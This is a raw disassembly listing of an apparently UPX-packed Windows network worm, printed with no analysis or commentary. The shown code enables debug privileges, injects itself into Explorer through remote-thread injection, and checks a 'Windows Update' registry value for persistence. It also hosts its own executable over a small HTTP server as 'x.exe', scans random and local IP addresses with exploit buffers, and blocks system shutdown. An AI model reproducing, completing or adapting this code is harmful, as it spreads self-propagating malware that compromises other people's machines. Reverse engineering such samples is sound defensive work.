memcpy push 70h lea eax, [ebp+var_690C] push offset dword_30904AC4 push eax call sub_30902C32 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_30902C32 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_30904B38 push eax call sub_30902C32 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_30901CF7 ; --------------------------------------------------------------------------- loc_30901BAF: ; CODE XREF: sub_309017B9+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_30902C26 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_30904C30 push eax call sub_30902C32 ; memcpy push offset byte_309042F0 call sub_30902C2C ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_309042F0 push eax call sub_30902C32 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_30904CA8 push eax call sub_30902C32 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_30904C30 push eax call sub_30902C32 ; memcpy add esp, 40h push offset byte_309042F0 call sub_30902C2C ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_309042F0 push eax call sub_30902C32 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_30901C4B: ; CODE XREF: sub_309017B9+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_30901C4B and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_30902C26 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_30902C26 ; memset add esp, 18h jmp loc_30901A50 ; --------------------------------------------------------------------------- loc_30901C9F: ; CODE XREF: sub_309017B9+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_30904944 push eax call sub_30902C32 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_30902C32 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_309049C4 push eax call sub_30902C32 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_30901CF7: ; CODE XREF: sub_309017B9+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_30901D04: ; CODE XREF: sub_309017B9+1ADj ; sub_309017B9+1E1j ... push 2 push [ebp+var_4] call dword_3090116C ; shutdown loc_30901D0F: ; CODE XREF: sub_309017B9+166j push [ebp+var_4] call dword_30901170 ; closesocket pop esi loc_30901D19: ; CODE XREF: sub_309017B9+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_309017B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901D20 proc near ; CODE XREF: UPX0:loc_30902321p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_309010A4 ; LoadLibraryA mov esi, dword_309010A0 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_30901DA4 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_30901DA4 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_30901DA4 lea eax, [ebp+var_C] push eax push 20h call dword_3090109C ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_30901DA4: ; CODE XREF: sub_30901D20+28j ; sub_30901D20+37j ... pop edi pop esi leave retn sub_30901D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901DA8 proc near ; CODE XREF: UPX0:30902335p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_30904FD0 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_309010B0 ; GetModuleHandleA mov esi, dword_309010A0 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_30901DEF loc_30901DEB: ; CODE XREF: sub_30901DA8+54j push 1 jmp short loc_30901E40 ; --------------------------------------------------------------------------- loc_30901DEF: ; CODE XREF: sub_30901DA8+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_30901DEB push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_3090110C ; FindWindowA test eax, eax jnz short loc_30901E1D call dword_30901110 ; GetForegroundWindow test eax, eax jnz short loc_30901E1D push 2 jmp short loc_30901E40 ; --------------------------------------------------------------------------- loc_30901E1D: ; CODE XREF: sub_30901DA8+65j ; sub_30901DA8+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_30901114 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_309010AC ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_30901E43 push 3 loc_30901E40: ; CODE XREF: sub_30901DA8+45j ; sub_30901DA8+73j pop eax jmp short loc_30901EAE ; --------------------------------------------------------------------------- loc_30901E43: ; CODE XREF: sub_30901DA8+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_3090107C test eax, eax jz short loc_30901EA1 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_309010A8 ; WriteProcessMemory push dword_30904FC4 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_30901E8D push eax call esi ; CloseHandle jmp short loc_30901EA8 ; --------------------------------------------------------------------------- loc_30901E8D: ; CODE XREF: sub_30901DA8+DEj push offset aUterm14 ; "uterm14" call sub_30901EE1 pop ecx mov [ebp+var_4], 5 jmp short loc_30901EA8 ; --------------------------------------------------------------------------- loc_30901EA1: ; CODE XREF: sub_30901DA8+B2j mov [ebp+var_4], 4 loc_30901EA8: ; CODE XREF: sub_30901DA8+E3j ; sub_30901DA8+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_30901EAE: ; CODE XREF: sub_30901DA8+99j pop edi pop esi pop ebx leave retn sub_30901DA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901EB3 proc near ; CODE XREF: sub_3090216F+Bp ; UPX0:309022F7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_309010B4 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_309010E8 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_30901EB3 endp ; =============== S U B R O U T I N E ======================================= sub_30901EE1 proc near ; CODE XREF: sub_30901DA8+EAp ; UPX0:30902301p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_309010B8 ; CreateMutexA retn sub_30901EE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901EF0 proc near ; CODE XREF: sub_3090235D+FBp ; sub_3090235D+106p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_309010BC ; CreateThread pop ebp retn sub_30901EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901F0A proc near ; CODE XREF: sub_3090216F+12Cp ; sub_30902514+5Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_309010BC ; CreateThread push eax call dword_3090107C ; CloseHandle pop ebp retn sub_30901F0A endp ; =============== S U B R O U T I N E ======================================= sub_30901F2B proc near ; CODE XREF: sub_309011A0+68p ; sub_309029E5+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_30901F53 loc_30901F3C: ; CODE XREF: sub_30901F2B+26j call dword_309010F8 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_30901F3C loc_30901F53: ; CODE XREF: sub_30901F2B+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_30901F2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901F5B proc near ; CODE XREF: sub_309011A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_30902C26 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_309010C0 ; CreateProcessA push [ebp+var_C] mov esi, dword_3090107C mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_30901F5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901FB1 proc near ; CODE XREF: sub_3090259C+3Ep ; sub_30902663+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_30901148 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_30901FD2 call dword_3090114C ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_30901FD2: ; CODE XREF: sub_30901FB1+15j lea eax, [ebp+var_34] push eax call dword_30901150 ; gethostbyname test eax, eax jnz short loc_30901FE7 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_30901FE7: ; CODE XREF: sub_30901FB1+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_30901FB1 endp ; =============== S U B R O U T I N E ======================================= sub_30901FF0 proc near ; CODE XREF: sub_309024B0+22p ; sub_30902514+27p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_3090112C ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_30901FF0 endp ; =============== S U B R O U T I N E ======================================= sub_30902006 proc near ; CODE XREF: sub_3090235D+40p ; sub_3090235D+4Cp ... arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_309010C8 ; OpenEventA test eax, eax jz short locret_3090201F push eax call dword_309010C4 ; SetEvent locret_3090201F: ; CODE XREF: sub_30902006+10j retn sub_30902006 endp ; =============== S U B R O U T I N E ======================================= sub_30902020 proc near ; CODE XREF: sub_3090169C+29p push esi mov esi, dword_309010F8 push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_30902020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902036 proc near ; DATA XREF: sub_3090216F+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jnz short loc_30902067 push 1 jmp loc_30902122 ; --------------------------------------------------------------------------- loc_30902067: ; CODE XREF: sub_30902036+28j mov esi, dword_30901100 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_30902125 lea eax, [ebp+var_100] push offset dword_30904228 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_30902125 mov esi, dword_30901164 push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_30904FC0 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_30901118 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_30902C2C ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_309020E4: ; CODE XREF: sub_30902036+E8j mov eax, dword_30904FC0 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_309020F6 mov eax, ecx loc_309020F6: ; CODE XREF: sub_30902036+BCj test eax, eax jz short loc_30902143 push 0 push eax mov eax, dword_30904FB8 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_30902120 cmp eax, 1000h jb short loc_30902143 push 64h add edi, eax call dword_30901094 ; Sleep jmp short loc_309020E4 ; --------------------------------------------------------------------------- loc_30902120: ; CODE XREF: sub_30902036+D5j push 2 loc_30902122: ; CODE XREF: sub_30902036+2Cj pop eax jmp short loc_30902168 ; --------------------------------------------------------------------------- loc_30902125: ; CODE XREF: sub_30902036+49j ; sub_30902036+61j mov esi, dword_30901164 push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_30904D70 push ebx call esi ; send loc_30902143: ; CODE XREF: sub_30902036+C2j ; sub_30902036+DCj push 7D0h call dword_30901094 ; Sleep push 2 push ebx call dword_3090116C ; shutdown push ebx call dword_30901170 ; closesocket push 0 call dword_309010CC ; ExitThread xor eax, eax loc_30902168: ; CODE XREF: sub_30902036+EDj pop edi pop esi pop ebx leave retn 4 sub_30902036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090216F proc near ; DATA XREF: sub_3090235D+F6o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_30901EB3 lea eax, [ebp+var_130] push 104h push eax push offset aWindowsUpdate ; "Windows Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_30904FBC, ebx call sub_309027D3 add esp, 14h test eax, eax jnz loc_309022A4 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_30901080 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_309021DB push 1 call dword_309010CC ; ExitThread loc_309021DB: ; CODE XREF: sub_3090216F+62j push ebx push esi call dword_309010D4 ; GetFileSize push eax mov dword_30904FC0, eax call sub_30902BEF pop ecx mov dword_30904FB8, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_30904FC0 push eax push esi call dword_309010D0 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_30904FC0, eax call dword_3090107C ; CloseHandle push ebx push 1 push 2 call dword_30901154 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_30902C26 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_3090223D: ; CODE XREF: sub_3090216F+E5j ; sub_3090216F+EDj ... call dword_309010F8 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_30904FCC, eax jz short loc_3090223D xor ecx, ecx mov cl, ah test cl, cl jz short loc_3090223D push eax call dword_3090115C ; htons mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_3090113C ; bind test eax, eax jnz short loc_3090223D push 64h push edi call dword_30901140 ; listen mov [ebp+var_8], esi pop esi loc_30902286: ; CODE XREF: sub_3090216F+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_30901144 ; accept push eax push offset sub_30902036 call sub_30901F0A pop ecx pop ecx jmp short loc_30902286 ; --------------------------------------------------------------------------- loc_309022A4: ; CODE XREF: sub_3090216F+3Dj push ebx call dword_309010CC ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_3090216F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309022B3 proc near ; CODE XREF: sub_3090235D:loc_3090244Dp var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_30901138 push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_309022B3 endp ; --------------------------------------------------------------------------- loc_309022DF: ; CODE XREF: UPX1:30906C58j push 0 call dword_309010B0 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_30904FD0, eax call dword_309010E0 ; DeleteFileA call sub_30901EB3 push offset aUterm14 ; "uterm14" call sub_30901EE1 pop ecx mov dword_30904FC4, eax call dword_309010DC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_30902321 push 1 call dword_309010D8 ; ExitProcess loc_30902321: ; CODE XREF: UPX0:30902317j call sub_30901D20 call sub_30902937 call sub_30902AB1 push offset sub_3090235D call sub_30901DA8 test eax, eax pop ecx jz short loc_30902346 push 0 call sub_3090235D loc_30902346: ; CODE XREF: UPX0:3090233Dj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_30902349 proc near ; CODE XREF: sub_3090235D:loc_30902476p ; sub_309024B0:loc_309024C9p ... push 0 push dword_30904FC8 call dword_30901074 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_30902349 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090235D proc near ; CODE XREF: UPX0:30902341p ; DATA XREF: UPX0:30902330o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_30901188 push offset loc_30902C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi push offset aU13x ; "u13x" xor edi, edi push edi push 1 push edi call dword_30901070 ; CreateEventA mov dword_30904FC8, eax mov [ebp+var_4], edi push offset aU10x ; "u10x" call sub_30902006 mov [esp+0Ch+var_C], offset aU11x ; "u11x" call sub_30902006 mov [esp+0Ch+var_C], offset aU12x ; "u12x" call sub_30902006 mov [esp+0Ch+var_C], offset aU8 ; "u8" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU9 ; "u9" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU10 ; "u10" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU11 ; "u11" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU12 ; "u12" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU13 ; "u13" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU14 ; "u14" call sub_30901EE1 pop ecx cmp [ebp+arg_0], edi jz short loc_3090244D push offset aWs2_32 ; "ws2_32" mov esi, dword_309010A4 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm14 ; "uterm14" call sub_30901EE1 pop ecx mov dword_30904FC4, eax loc_3090244D: ; CODE XREF: sub_3090235D+B5j call sub_309022B3 push edi push offset sub_3090216F call sub_30901EF0 push edi push offset sub_3090169C call sub_30901EF0 push edi push offset loc_309026BF call sub_30901EF0 add esp, 18h loc_30902476: ; CODE XREF: sub_3090235D+134j call sub_30902349 test eax, eax jnz short loc_30902493 push edi call dword_30901018 ; AbortSystemShutdownA push 1388h call dword_30901094 ; Sleep jmp short loc_30902476 ; --------------------------------------------------------------------------- loc_30902493: ; CODE XREF: sub_3090235D+120j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_3090235D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309024B0 proc near ; DATA XREF: sub_30902514+55o ; sub_3090259C+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_309024BF push 1 pop eax jmp short locret_30902510 ; --------------------------------------------------------------------------- loc_309024BF: ; CODE XREF: sub_309024B0+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_309024C9: ; CODE XREF: sub_309024B0+5Aj call sub_30902349 test eax, eax jnz short loc_3090250C call sub_30901FF0 test eax, eax jz short loc_3090250C cmp [ebp+var_1], bl jz short loc_30902505 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_309017B9 movzx esi, word_30904FDC pop ecx call dword_309010F8 ; rand cdq idiv esi add edx, esi push edx call dword_30901094 ; Sleep loc_30902505: ; CODE XREF: sub_309024B0+2Ej inc bl cmp bl, 0FFh jb short loc_309024C9 loc_3090250C: ; CODE XREF: sub_309024B0+20j ; sub_309024B0+29j pop esi xor eax, eax pop ebx locret_30902510: ; CODE XREF: sub_309024B0+Dj leave retn 4 sub_309024B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902514 proc near ; DATA XREF: sub_3090259C+7Eo ; UPX0:30902754o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_30902522 push 1 pop eax jmp short loc_30902598 ; --------------------------------------------------------------------------- loc_30902522: ; CODE XREF: sub_30902514+7j push ebx push esi push edi call sub_30901EB3 mov esi, dword_309010F8 xor ebx, ebx loc_30902532: ; CODE XREF: sub_30902514+7Dj call sub_30902349 test eax, eax jnz short loc_30902593 call sub_30901FF0 test eax, eax jz short loc_30902593 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_30904FD4 mov byte ptr [ebp+arg_0+3], al call dword_3090106C ; InterlockedIncrement push [ebp+arg_0] call sub_309017B9 test eax, eax pop ecx jnz short loc_30902575 push [ebp+arg_0] push offset sub_309024B0 call sub_30901F0A pop ecx pop ecx loc_30902575: ; CODE XREF: sub_30902514+50j movzx edi, word_30904FDC call esi ; rand cdq idiv edi add edx, edi push edx call dword_30901094 ; Sleep inc ebx cmp ebx, 8000h jl short loc_30902532 loc_30902593: ; CODE XREF: sub_30902514+25j ; sub_30902514+2Ej pop edi pop esi xor eax, eax pop ebx loc_30902598: ; CODE XREF: sub_30902514+Cj pop ebp retn 4 sub_30902514 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090259C proc near ; DATA XREF: UPX0:3090276Co var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_30901EB3 call sub_30902349 test eax, eax jnz loc_30902655 push ebx mov ebx, dword_30901094 push esi mov esi, dword_309010F8 push edi loc_309025C2: ; CODE XREF: sub_3090259C+48j ; sub_3090259C+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_309025D1: ; CODE XREF: sub_3090259C+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_309025D1 call sub_30901FB1 mov edi, [ebp+var_4] cmp edi, eax jz short loc_309025C2 call sub_30901FF0 test eax, eax jz short loc_3090262D push offset dword_30904FD4 call dword_3090106C ; InterlockedIncrement push edi call sub_309017B9 test eax, eax pop ecx jnz short loc_30902634 push edi push offset sub_309024B0 call sub_30901F0A pop ecx mov [ebp+var_8], 4 pop ecx loc_30902619: ; CODE XREF: sub_3090259C+8Dj push edi push offset sub_30902514 call sub_30901F0A dec [ebp+var_8] pop ecx pop ecx jnz short loc_30902619 jmp short loc_30902634 ; --------------------------------------------------------------------------- loc_3090262D: ; CODE XREF: sub_3090259C+51j push 2710h call ebx ; Sleep loc_30902634: ; CODE XREF: sub_3090259C+67j ; sub_3090259C+8Fj movzx edi, word_30904FDC call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_30902349 test eax, eax jz loc_309025C2 pop edi pop esi pop ebx loc_30902655: ; CODE XREF: sub_3090259C+11j push 0 call dword_309010CC ; ExitThread xor eax, eax leave retn 4 sub_3090259C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902663 proc near ; CODE XREF: UPX0:30902731p ; UPX0:loc_30902797p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_30901FB1 push eax call dword_30901158 ; inet_ntoa mov esi, dword_30901068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpy push dword_30904FCC lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_30901118 ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_309042F2 call esi ; lstrcpy push offset byte_309042F0 call dword_30901084 ; lstrlen mov byte_309042F0[eax], 0DFh pop esi leave retn sub_30902663 endp ; --------------------------------------------------------------------------- loc_309026BF: ; DATA XREF: sub_3090235D+10Co push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_30904FD4, ebx call sub_30901FF0 mov esi, dword_30901094 mov edi, 1388h test eax, eax jnz short loc_309026ED loc_309026E1: ; CODE XREF: UPX0:309026EBj push edi call esi ; Sleep call sub_30901FF0 test eax, eax jz short loc_309026E1 loc_309026ED: ; CODE XREF: UPX0:309026DFj lea eax, [esp+14h] push ebx push eax call dword_3090112C ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_30904FD8, ebx pop ebp mov word_30904FDC, 96h jz short loc_3090272A mov dword_30904FD8, 1 mov ebp, 15Eh mov word_30904FDC, 14h loc_3090272A: ; CODE XREF: UPX0:30902710j call sub_30901FB1 mov ebx, eax call sub_30902663 cmp ebx, 100007Fh jz short loc_3090274B push ebx push offset sub_309024B0 call sub_30901F0A pop ecx pop ecx loc_3090274B: ; CODE XREF: UPX0:3090273Cj mov dword ptr [esp+10h], 4 loc_30902753: ; CODE XREF: UPX0:30902764j push ebx push offset sub_30902514 call sub_30901F0A dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_30902753 test ebp, ebp jle short loc_3090277B loc_3090276A: ; CODE XREF: UPX0:30902779j push 0 push offset sub_3090259C call sub_30901F0A pop ecx dec ebp pop ecx jnz short loc_3090276A loc_3090277B: ; CODE XREF: UPX0:30902768j ; UPX0:30902787j ... call sub_30901FF0 test eax, eax jz short loc_30902789 push edi call esi ; Sleep jmp short loc_3090277B ; --------------------------------------------------------------------------- loc_30902789: ; CODE XREF: UPX0:30902782j ; UPX0:30902795j call sub_30901FF0 test eax, eax jnz short loc_30902797 push edi call esi ; Sleep jmp short loc_30902789 ; --------------------------------------------------------------------------- loc_30902797: ; CODE XREF: UPX0:30902790j call sub_30902663 jmp short loc_3090277B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090279E proc near ; CODE XREF: sub_30902937+8Cp ; sub_30902AB1+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3090100C ; RegOpenKeyExA test eax, eax jnz short loc_309027D1 push [ebp+arg_8] push [ebp+arg_4] call dword_30901010 ; RegDeleteValueA push [ebp+arg_4] call dword_30901014 ; RegCloseKey loc_309027D1: ; CODE XREF: sub_3090279E+1Cj pop ebp retn sub_3090279E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309027D3 proc near ; CODE XREF: sub_3090216F+33p ; sub_30902937+7Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3090100C ; RegOpenKeyExA test eax, eax jz short loc_309027FF push 1 pop eax jmp short loc_30902829 ; 